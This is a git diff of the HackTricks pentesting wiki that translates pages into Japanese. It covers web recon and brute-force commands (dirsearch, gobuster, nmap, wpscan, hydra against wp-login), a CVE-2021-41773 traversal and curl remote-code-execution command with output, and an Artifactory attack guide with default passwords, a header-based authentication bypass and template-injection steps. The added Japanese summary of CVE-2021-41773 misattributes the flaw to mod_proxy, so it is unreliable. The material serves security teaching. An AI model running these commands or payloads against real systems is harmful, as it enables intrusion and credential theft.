{Small_Dirlist} -e php,exe,sh,py,html,pl -f -t 20 -u {Web_Proto}://{IP}:{Web_Port} -r 10 +Name: Directory Brute Force Recursive +Description: Recursive Directory Brute Force +Command: python3 {Tool_Dir}dirsearch/dirsearch.py -w {Small_Dirlist} -e php,exe,sh,py,html,pl -f -t 20 -u {Web_Proto}://{IP}:{Web_Port} -r 10 Entry_7: - Name: Directory Brute Force CGI - Description: Common Gateway Interface Brute Force - Command: gobuster dir -u {Web_Proto}://{IP}:{Web_Port}/ -w /usr/share/seclists/Discovery/Web-Content/CGIs.txt -s 200 +Name: Directory Brute Force CGI +Description: Common Gateway Interface Brute Force +Command: gobuster dir -u {Web_Proto}://{IP}:{Web_Port}/ -w /usr/share/seclists/Discovery/Web-Content/CGIs.txt -s 200 Entry_8: - Name: Nmap Web Vuln Scan - Description: Tailored Nmap Scan for web Vulnerabilities - Command: nmap -vv --reason -Pn -sV -p {Web_Port} --script=`banner,(http* or ssl*) and not (brute or broadcast or dos or external or http-slowloris* or fuzzer)` {IP} +Name: Nmap Web Vuln Scan +Description: Tailored Nmap Scan for web Vulnerabilities +Command: nmap -vv --reason -Pn -sV -p {Web_Port} --script=`banner,(http* or ssl*) and not (brute or broadcast or dos or external or http-slowloris* or fuzzer)` {IP} Entry_9: - Name: Drupal - Description: Drupal Enumeration Notes - Note: | - git clone https://github.com/immunIT/drupwn.git for low hanging fruit and git clone https://github.com/droope/droopescan.git for deeper enumeration +Name: Drupal +Description: Drupal Enumeration Notes +Note: | +git clone https://github.com/immunIT/drupwn.git for low hanging fruit and git clone https://github.com/droope/droopescan.git for deeper enumeration Entry_10: - Name: WordPress - Description: WordPress Enumeration with WPScan - Command: | - ?What is the location of the wp-login.php? Example: /Yeet/cannon/wp-login.php - wpscan --url {Web_Proto}://{IP}{1} --enumerate ap,at,cb,dbe && wpscan --url {Web_Proto}://{IP}{1} --enumerate u,tt,t,vp --passwords {Big_Passwordlist} -e +Name: WordPress +Description: WordPress Enumeration with WPScan +Command: | +?What is the location of the wp-login.php? Example: /Yeet/cannon/wp-login.php +wpscan --url {Web_Proto}://{IP}{1} --enumerate ap,at,cb,dbe && wpscan --url {Web_Proto}://{IP}{1} --enumerate u,tt,t,vp --passwords {Big_Passwordlist} -e Entry_11: - Name: WordPress Hydra Brute Force - Description: Need User (admin is default) - Command: hydra -l admin -P {Big_Passwordlist} {IP} -V http-form-post '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log In&testcookie=1:S=Location' +Name: WordPress Hydra Brute Force +Description: Need User (admin is default) +Command: hydra -l admin -P {Big_Passwordlist} {IP} -V http-form-post '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log In&testcookie=1:S=Location' Entry_12: - Name: Ffuf Vhost - Description: Simple Scan with Ffuf for discovering additional vhosts - Command: ffuf -w {Subdomain_List}:FUZZ -u {Web_Proto}://{Domain_Name} -H "Host:FUZZ.{Domain_Name}" -c -mc all {Ffuf_Filters} +Name: Ffuf Vhost +Description: Simple Scan with Ffuf for discovering additional vhosts +Command: ffuf -w {Subdomain_List}:FUZZ -u {Web_Proto}://{Domain_Name} -H "Host:FUZZ.{Domain_Name}" -c -mc all {Ffuf_Filters} ``` - \ -**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**! +**バグバウンティのヒント**: **Intigriti**に**サインアップ**してください。これは、ハッカーによって作成されたプレミアムな**バグバウンティプラットフォーム**です!今すぐ[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加して、最大**$100,000**の報酬を獲得しましょう! {% embed url="https://go.intigriti.com/hacktricks" %} @@ -433,10 +407,10 @@ Entry_12: ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業**で働いていますか? HackTricksで**会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。これは、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。** diff --git a/network-services-pentesting/pentesting-web/aem-adobe-experience-cloud.md b/network-services-pentesting/pentesting-web/aem-adobe-experience-cloud.md index d52c07fec..d6283d88c 100644 --- a/network-services-pentesting/pentesting-web/aem-adobe-experience-cloud.md +++ b/network-services-pentesting/pentesting-web/aem-adobe-experience-cloud.md @@ -1,40 +1,18 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? HackTricksで**会社を宣伝**したいですか?または、**PEASSの最新バージョンを入手**したいですか、またはHackTricksを**PDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. - -
- - -Find vulnerabilities and missconfigurations with [https://github.com/0ang3el/aem-hacker](https://github.com/0ang3el/aem-hacker) - - - -
- -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! - -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) - -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) - -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
+[https://github.com/0ang3el/aem-hacker](https://github.com/0ang3el/aem-hacker)で脆弱性と設定ミスを見つける。 diff --git a/network-services-pentesting/pentesting-web/apache.md b/network-services-pentesting/pentesting-web/apache.md index c1b3f3b44..3a2148881 100644 --- a/network-services-pentesting/pentesting-web/apache.md +++ b/network-services-pentesting/pentesting-web/apache.md @@ -1,63 +1,96 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
-# Executable PHP extensions - -Check which extensions is executing the Apache server. To search them you can execute: +# 実行可能なPHP拡張機能 +Apacheサーバーで実行されている拡張機能を確認します。これらを検索するには、次のコマンドを実行します: ```bash - grep -R -B1 "httpd-php" /etc/apache2 +grep -R -B1 "httpd-php" /etc/apache2 ``` - -Also, some places where you can find this configuration is: - +また、この設定を見つけることができる場所は以下の通りです: ```bash /etc/apache2/mods-available/php5.conf /etc/apache2/mods-enabled/php5.conf /etc/apache2/mods-available/php7.3.conf /etc/apache2/mods-enabled/php7.3.conf ``` - # CVE-2021-41773 +## 概要 + +CVE-2021-41773は、Apache HTTP Serverの脆弱性であり、攻撃者がリモートで任意のファイルを読み取ることができる可能性があります。 + +## 影響を受けるバージョン + +- Apache HTTP Server 2.4.49以前 + +## 詳細 + +この脆弱性は、Apache HTTP Serverのmod_proxyモジュールに存在します。攻撃者は、特定の条件下でリクエストを送信することで、目的のファイルの内容を読み取ることができます。 + +攻撃者は、以下のようなリクエストを送信することで、ファイルの読み取りを行うことができます。 + +``` +GET /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1 +Host: example.com +``` + +この脆弱性を悪用すると、攻撃者はサーバー上の任意のファイルにアクセスできる可能性があります。これにより、機密情報の漏洩やシステムへの不正アクセスが可能となります。 + +## 対策方法 + +Apache HTTP Serverのバージョン2.4.50以降にアップグレードすることを強くお勧めします。また、アップグレードができない場合は、以下のワークアラウンドを適用することができます。 + +1. Apache HTTP Serverの設定ファイル(httpd.conf)に以下の行を追加します。 + +``` + + Require all denied + +``` + +2. mod_proxyモジュールを無効にします。 + +``` +ProxyRequests Off +``` + +これにより、攻撃者はリモートでのファイルの読み取りを防ぐことができます。 + +## 参考情報 + +- [Apache Security Advisory](https://httpd.apache.org/security/vulnerabilities_24.html#CVE-2021-41773) ```bash curl http://172.18.0.15/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; id; uname' uid=1(daemon) gid=1(daemon) groups=1(daemon) Linux ``` - - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
- - diff --git a/network-services-pentesting/pentesting-web/artifactory-hacking-guide.md b/network-services-pentesting/pentesting-web/artifactory-hacking-guide.md index a27dc6aed..14d3d74b6 100644 --- a/network-services-pentesting/pentesting-web/artifactory-hacking-guide.md +++ b/network-services-pentesting/pentesting-web/artifactory-hacking-guide.md @@ -1,73 +1,68 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
-**This content was taken from** [**https://www.errno.fr/artifactory/Attacking\_Artifactory**](https://www.errno.fr/artifactory/Attacking\_Artifactory) +**このコンテンツは** [**https://www.errno.fr/artifactory/Attacking\_Artifactory**](https://www.errno.fr/artifactory/Attacking\_Artifactory) **から取得されました** -# Artifactory basics +# Artifactoryの基礎 -## Default users and passwords +## デフォルトのユーザーとパスワード -Artifactory’s default accounts are: +Artifactoryのデフォルトのアカウントは次のとおりです: -| Account | Default password | Notes | +| アカウント | デフォルトのパスワード | ノート | | ------------ | ---------------------------------------------- | -------------------------------------------------------------------- | -| admin | password | common administration account | -| access-admin | password (<6.8.0) or a random value (>= 6.8.0) | used for local administration operations only | -| anonymous | ’’ | anonymous user to retrieve packages remotely, not enabled by default | +| admin | password | 一般的な管理アカウント | +| access-admin | password (<6.8.0)またはランダムな値 (>= 6.8.0) | ローカル管理操作にのみ使用されます | +| anonymous | ’’ | デフォルトでは有効になっていないリモートパッケージの取得用の匿名ユーザー | -By default, no password locking policy is in place which makes Artifactory a prime target for credential stuffing and password spraying attacks. +デフォルトでは、パスワードロックポリシーは設定されていないため、Artifactoryはクレデンシャルスタッフィングやパスワードスプレー攻撃の主要なターゲットとなります。 -## Authorizations +## 権限 -Ideally, this is what you should see when connecting to Artifactory: +理想的には、Artifactoryに接続すると次のような画面が表示されます: -![Login page](https://www.errno.fr/artifactory/artif\_login.png) +![ログインページ](https://www.errno.fr/artifactory/artif\_login.png) -On the other hand, if you’re greeted with something more akin to this: +一方、次のようなものが表示される場合: -![Default page](https://www.errno.fr/artifactory/artif\_default.png) +![デフォルトページ](https://www.errno.fr/artifactory/artif\_default.png) -It means that “Anonymous access” has been enabled in the administration panel, which is a common setting used to let applications retrieve artifacts without hassle but lets you, the attacker, see more than is preferable. +これは、「匿名アクセス」が管理パネルで有効になっていることを意味します。これは、アプリケーションが手間をかけずにアーティファクトを取得できるようにするための一般的な設定ですが、攻撃者であるあなたにとっては好ましくない情報が表示されます。 -## Checking account rights +## アカウントの権限を確認する -Sometimes, because of a misconfiguration, anonymous is allowed to deploy files to some repositories! - -To check which repositories the anonymous user can deploy to, use the following request: +時々、設定ミスのために、匿名ユーザーが一部のリポジトリにファイルをデプロイできるようになっていることがあります! +匿名ユーザーがデプロイできるリポジトリを確認するには、次のリクエストを使用します: ``` curl http://localhost:8081/artifactory/ui/repodata?deploy=true {"repoList":["artifactory-build-info","example-repo-local"]} ``` +もしリクエストに`repoKey`のエントリがある場合、匿名ユーザーはこれらにデプロイできてしまいます。これは非常に危険です。ファイルをデプロイするためには必ず認証されるべきです。 -If there are any `repoKey` entries in the request, anonymous can deploy to these, which is really really bad. You definitely should be authenticated to deploy any files. +これはパスワードやトークンを取得した後、他のアカウントにも一般化することができます。 -This can be generalized to other accounts once you get a password or token for them. +## ユーザーの一覧表示 -## Listing users - -For some reason listing users is a right reserved to admins only. I found an alternate way to list users (those that are actively deploying at least) that relies on the “Deployed By” value of artifacts: +何らかの理由で、ユーザーの一覧表示は管理者のみが行える権限です。ただし、アーティファクトの「Deployed By」の値に依存する、ユーザーの一覧表示の代替方法を見つけました。 ![Deployed By](https://www.errno.fr/artifactory/artif\_deployed\_by.png) -[This script](https://gist.github.com/gquere/347e8e042490be87e6e9e32e428cb47a) simply tries to recursively find all the users that have deployed artifacts. Note that it could take a while to complete if there are a lot of repositories (>1000). - +[このスクリプト](https://gist.github.com/gquere/347e8e042490be87e6e9e32e428cb47a)は、アーティファクトをデプロイしたユーザーを再帰的に検索するだけのものです。ただし、リポジトリが多い場合(>1000)、完了までに時間がかかる可能性があります。 ``` ./artifactory_list_users.py http://127.0.0.1:8081/artifactory There are 23 repositories to process @@ -76,86 +71,75 @@ Found user test Found user user Found user test_deploy ``` - ## Permissions -Here are the basic permissions and their usefulness: +以下は基本的な権限とその有用性です: * Manage: ? -* Delete/Overwrite: interesting for pentest -* Deploy/Cache: interesting for pentest -* Annotate: necessary for CVE-2020-7931 -* Read: usually a default permission +* Delete/Overwrite: ペントストに興味がある +* Deploy/Cache: ペントストに興味がある +* Annotate: CVE-2020-7931に必要 +* Read: 通常はデフォルトの権限 -# Known vulnerabilities +# 既知の脆弱性 -Here is a curated list of high impact public vulnerabilities: +以下は高い影響力を持つ公開脆弱性の厳選リストです: -## CVE-2016-10036: Arbitrary File Upload & RCE (<4.8.6) +## CVE-2016-10036: 任意のファイルのアップロードとRCE (<4.8.6) -[Details here.](https://www.exploit-db.com/exploits/44543) +[詳細はこちら。](https://www.exploit-db.com/exploits/44543) -This one is getting a bit old and it’s unlikely you’ll stumble on such an outdated Artifactory version. Nevertheless it’s quite effective, as it is a simple directory traversal which nets arbitrary code execution at the Tomcat level. +これは少し古く、このような古いArtifactoryバージョンにはほとんど出くわさないでしょう。それでも、シンプルなディレクトリトラバーサルであり、Tomcatレベルで任意のコードを実行できるため、かなり効果的です。 -## CVE-2019-9733: Authentication bypass (<6.8.6) +## CVE-2019-9733: 認証バイパス (<6.8.6) -[Original advisory here.](https://www.ciphertechs.com/jfrog-artifactory-advisory/) +[元のアドバイザリはこちら。](https://www.ciphertechs.com/jfrog-artifactory-advisory/) -On older versions of Artifactory (up to 6.7.3), the `access-admin` account used a default password `password`. +Artifactoryの古いバージョン(6.7.3まで)では、`access-admin`アカウントがデフォルトパスワード`password`を使用していました。 -This local account is normally forbidden to access the UI or API, but until version 6.8.6 Artifactory could be tricked into believing the request emanated locally if the `X-Forwarded-For` HTTP header was set to `127.0.0.1`. +このローカルアカウントは通常、UIやAPIにアクセスすることは禁止されていますが、バージョン6.8.6まで、`X-Forwarded-For` HTTPヘッダが`127.0.0.1`に設定されている場合、Artifactoryはリクエストがローカルから発信されたものと誤認することがありました。 -## CVE-2020-7931: Server-Side Template Injection (Artifactory Pro) +## CVE-2020-7931: サーバーサイドテンプレートインジェクション(Artifactory Pro) -[Original advisory here.](https://github.com/atredispartners/advisories/blob/master/ATREDIS-2019-0006.md) +[元のアドバイザリはこちら。](https://github.com/atredispartners/advisories/blob/master/ATREDIS-2019-0006.md) -Here’s a [tool I wrote](https://github.com/gquere/CVE-2020-7931) to automate the exploitation of this vulnerability. +この脆弱性を悪用するためには、以下が必要です: -These are required for exploitation: - -* a user with deploy (create files) and annotate (set filtered) rights +* デプロイ(ファイルの作成)と注釈(フィルタリングの設定)の権限を持つユーザー * Artifactory Pro -The vulnerability is rather simple: if a deployed resource is set to filtered it is interpreted as a Freemarker Template, which gives the attacker a SSTI attack window. ![Filtered Resource](https://www.errno.fr/artifactory/artif\_filtered.png) +この脆弱性は非常にシンプルです。デプロイされたリソースがフィルタリングされた状態に設定されている場合、それはFreemarkerテンプレートとして解釈され、攻撃者にSSTI攻撃の窓口を提供します。 ![Filtered Resource](https://www.errno.fr/artifactory/artif\_filtered.png) -Here are the implemented primitives: +以下は実装されたプリミティブです: -* basic filesystem reads -* limited filesystem writes +* 基本的なファイルシステムの読み取り +* 制限付きのファイルシステムの書き込み -These should be enough to give you remote code execution in a number of manners, from the easiest/quietest to the hardest/noisiest: +これらは、最も簡単で静かな方法から最も難しくて騒々しい方法まで、さまざまな方法でリモートコードの実行を可能にするのに十分です: -* reading a secret on the filesystem that lets you pivot (/home/user/.bash\_history, /home/user/password.txt, /home/user/.ssh/id\_rsa …) -* adding an SSH key to the user -* deploying a .war to execute a servlet -* deploying an Artifactory Groovy user script +* ピボットを提供するファイルシステム上の秘密の読み取り(/home/user/.bash\_history、/home/user/password.txt、/home/user/.ssh/id\_rsaなど) +* ユーザーにSSHキーを追加する +* サーブレットを実行するための.warをデプロイする +* Artifactory Groovyユーザースクリプトをデプロイする ### .war stories: Java renameTo() shenanigans -This is a little story of how I banged my head against the wall for hours if not days during a pentest. I came accross an outdated Artifactory which I knew was vulnerable to CVE-2020-7931. I deployed the original’s advisory SSTI template and started perusing through the filesystem. It seemed that Artifactory had been installed in a non-standard location, which isn’t too unusual as admins like to keep separated partitions between application binaries, data, logs and configuration (this is a good thing!). There were no SSH keys or passwords in the user’s home directory that would have provided me with an easy pivot, so there came the time to be less discreet and write to the filesystem. Dropping the initial payload (a public key) in Artifactory’s upload directory went fine, but I just couldn’t manage to move it to the SSH keys directory. So I went back to my exploitation sandbox, tested it again and lo and behold, it worked fine. So there had to be a different configuration that prevented me from completing the `renameTo()` method. At this point it’s always a good idea to [check the documentation](https://docs.oracle.com/javase/8/docs/api/java/io/File.html#renameTo-java.io.File-) … which clearly states that you cannot rename files accross different filesystems, which I guess makes sense depending on the implementation of the method, i.e. if it works at an inode level. Arg. +これは、ペントスト中に何時間も、もしくは何日も壁に頭をぶつけた小さな物語です。私は古いArtifactoryに出くわしましたが、CVE-2020-7931の脆弱性があることを知っていました。元のアドバイザリのSSTIテンプレートをデプロイし、ファイルシステムを調べ始めました。Artifactoryは非標準の場所にインストールされているようでしたが、これはアプリケーションのバイナリ、データ、ログ、設定を分離するために管理者が好むことです(これは良いことです!)。ユーザーのホームディレクトリには、簡単なピボットを提供するSSHキーやパスワードはありませんでしたので、控えめさを欠いてファイルシステムに書き込むことになりました。Artifactoryのアップロードディレクトリに初期ペイロード(公開鍵)をドロップすることはうまくいきましたが、それをSSHキーのディレクトリに移動することができませんでした。そこで、再び自分の悪用サンドボックスでテストしましたが、うまくいきました。したがって、`renameTo()`メソッドを完了できない別の設定があるはずです。この時点で、[ドキュメントを確認する](https://docs.oracle.com/javase/8/docs/api/java/io/File.html#renameTo-java.io.File-)のは常に良い考えです... これは、異なるファイルシステム間でファイルの名前を変更できないことを明確に述べています。これは、メソッドの実装に依存するため、実装によっては意味があるかもしれません。うーん。 -Remember what I said about admins liking partitions? Well, this is a case of an admin unbeknownstingly hardening his setup against my exploit! So I had to dig into what is essentially a Java jail to find another method that would let me write a file to disk. And that wasn’t fun at all, as I’m not familiar with any of the things involved: FTL Templates, Java, Tomcat/Catalina. I quickly discovered that regular Java jail escapes just wouldn’t cut it, as instatiating new classes was forbidden. After hours of reading the Java and Catalina classes documentation, I finally found a write() method on a object which I could reach. But it was limited to the web application’s base path… So then I thought of combining the write to another filesystem and the `renameTo()` accross this newly reachable filesystem to hopefully be able to write anywhere? And it kinda worked. I managed to write out of the temporary upload dir … but not so far from it as now I was stuck on another filesystem which was the mountpoint to all things artifactory: configuration, application and stuff. So still no SSH key for me. 